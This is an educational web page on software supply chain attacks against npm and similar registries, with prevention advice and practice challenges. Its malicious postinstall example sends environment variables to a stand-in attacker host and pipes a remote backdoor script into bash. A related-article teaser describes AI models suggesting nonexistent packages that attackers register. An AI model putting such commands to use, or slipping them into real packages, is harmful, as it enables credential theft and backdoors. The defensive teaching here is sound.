Supply Chain Attacks
Supply chain attacks target the dependencies and tools your application relies on rather than your code directly. By compromising widely-used packages on npm, PyPI, or other registries, attackers can inject malicious code into thousands of applications at once. Recent attacks like 'Shai-Hulud' compromised over 500 npm packages with billions of weekly downloads.
Attack Vectors
Typosquatting
Attackers publish packages with names similar to popular packages, hoping developers make typos:
# Legitimate packages:
npm install lodash
npm install express
npm install axios
# Typosquatting attacks:
npm install lodahs # Typo
npm install expresss # Extra letter
npm install axois # Swapped letters
npm install @exp/ress # Scoped package confusion
npm install l0dash # Number substitutionDependency Confusion
When companies use internal packages, attackers publish public packages with the same names:
# Company uses internal package: @company/analytics
# package.json: "@company/analytics": "1.0.0"
# Attacker publishes on npm:
npm publish analytics@99.0.0
# If package manager isn't configured properly,
# it might install the public 'analytics' instead of '@company/analytics'
# The higher version number can trick some configsMaintainer Account Compromise
Attackers steal credentials from legitimate maintainers via phishing, credential stuffing, or token theft:
Attack Flow (Shai-Hulud Campaign):
1. Phishing email disguised as npm security alert
2. Developer clicks link, enters credentials on fake npm site
3. Attacker gains access to developer's npm account
4. Attacker publishes malicious version of legitimate package
5. Package executes on install (postinstall script)
6. Malware steals GitHub tokens from victim's machine
7. Uses tokens to compromise more repositories
8. Self-replicating: infects other packages the developer maintainsMalicious Postinstall Scripts
// Malicious package.json
{
"name": "innocent-package",
"version": "1.0.0",
"scripts": {
"postinstall": "node ./scripts/setup.js"
}
}
// scripts/setup.js (obfuscated malware)
const { exec } = require('child_process');
const os = require('os');
const fs = require('fs');
// Steal environment variables
const env = JSON.stringify(process.env);
fetch('https://attacker.com/collect', { method: 'POST', body: env });
// Steal SSH keys
const sshDir = `${os.homedir()}/.ssh`;
if (fs.existsSync(sshDir)) {
// Upload private keys
}
// Install backdoor
exec('curl https://attacker.com/backdoor.sh | bash');Real-World Impact
Notable Supply Chain Attacks:
- Shai-Hulud (2025): 500+ npm packages, billions of downloads
Self-replicating worm with "dead man's switch" data destruction
- event-stream (2018): 2M downloads/week
Stole Bitcoin from Copay wallet users
- ua-parser-js (2021): 7M downloads/week
Installed cryptominers and password stealers
- colors.js (2022): 20M downloads/week
Maintainer protest caused infinite loops in apps
- node-ipc (2022): 1M downloads/week
Delivered anti-war payload, deleted files on Russian IPsPrevention Strategies
Lock Dependencies
# Always commit lock files
git add package-lock.json # npm
git add yarn.lock # yarn
git add pnpm-lock.yaml # pnpm
# Use exact versions in CI
npm ci # Uses lock file exactly, fails if mismatch
# NOT: npm install (can update within semver range)
# Pin versions in package.json
{
"dependencies": {
"lodash": "4.17.21" // Exact version, not "^4.17.21"
}
}Audit Dependencies
# npm built-in auditing
npm audit
npm audit --production # Only production deps
npm audit fix # Auto-fix where possible
# Snyk (free for open source)
npx snyk test
# Socket.dev - Detects supply chain attacks
npx socket-security report
# OWASP Dependency-Check
dependency-check --project "MyApp" --scan .Disable Postinstall Scripts
# Disable all lifecycle scripts
npm config set ignore-scripts true
# Or per-install
npm install --ignore-scripts
# Then manually run only trusted scripts
npm rebuild # If you need native bindings
# .npmrc configuration
ignore-scripts=trueUse Private Registry
# .npmrc - Use private registry as proxy
registry=https://your-company.jfrog.io/artifactory/api/npm/npm/
@company:registry=https://your-company.jfrog.io/artifactory/api/npm/npm-local/
# Benefits:
# - Cache packages (survive registry outages)
# - Scan for vulnerabilities before allowing
# - Block typosquatting attempts
# - Audit what packages are actually usedVerify Package Integrity
// package-lock.json includes integrity hashes
{
"packages": {
"node_modules/lodash": {
"version": "4.17.21",
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
"integrity": "sha512-v2kDE...==" // SHA-512 hash
}
}
}
// npm ci verifies integrity automatically
// If hash doesn't match, install failsSecure Your Own Packages
# Enable 2FA on npm account
npm profile enable-2fa auth-and-writes
# Use fine-grained access tokens
# npm.com -> Access Tokens -> Generate New Token
# Scope: Read-only for CI, automation:granular for publishing
# Add trusted collaborators carefully
npm access grant read-write <team> <package>
# Enable package provenance (cryptographic proof of origin)
npm publish --provenance # Requires GitHub Actions OIDCDependency Review in CI
# .github/workflows/dependency-review.yml
name: Dependency Review
on: [pull_request]
jobs:
dependency-review:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Dependency Review
uses: actions/dependency-review-action@v4
with:
fail-on-severity: high
deny-licenses: GPL-3.0, AGPL-3.0
- name: Socket Security
uses: SocketDev/socket-action@v1
with:
api-key: ${{ secrets.SOCKET_API_KEY }}Security Checklist
- Commit and verify lock files in all repositories
- Use npm ci instead of npm install in CI/CD
- Run npm audit in CI pipeline with fail on high severity
- Disable postinstall scripts by default
- Enable 2FA on all package registry accounts
- Use scoped packages for internal dependencies
- Review new dependencies before adding them
- Monitor for dependency updates and security alerts
Practice Challenges
View allSlopsquatting
AI suggested a package that doesn't exist. Someone registered it.
Dependency Confusion
Private package name? Public registry has higher priority.
Typosquatting
lodash vs 1odash. One character, big difference.
Lockfile Injection
PR changes lockfile to point to malicious registry.
Postinstall Script
npm package with malicious postinstall. Runs automatically.
Related Articles
View allWhy AI Hallucinates npm Packages (And How Attackers Exploit It)
You ask ChatGPT for help with a coding problem. It suggests installing a package: 'npm install flask-session-handler'. You copy the command, run it, and... congratulations, you may have just installed ...
Supply Chain Vulnerabilities in AI: The New Frontier
OWASP elevated Supply Chain vulnerabilities to #3 in their 2025 LLM Top 10—up from #5 in 2023. The risk has broadened beyond traditional software dependencies to include pre-trained models, fine-tuning...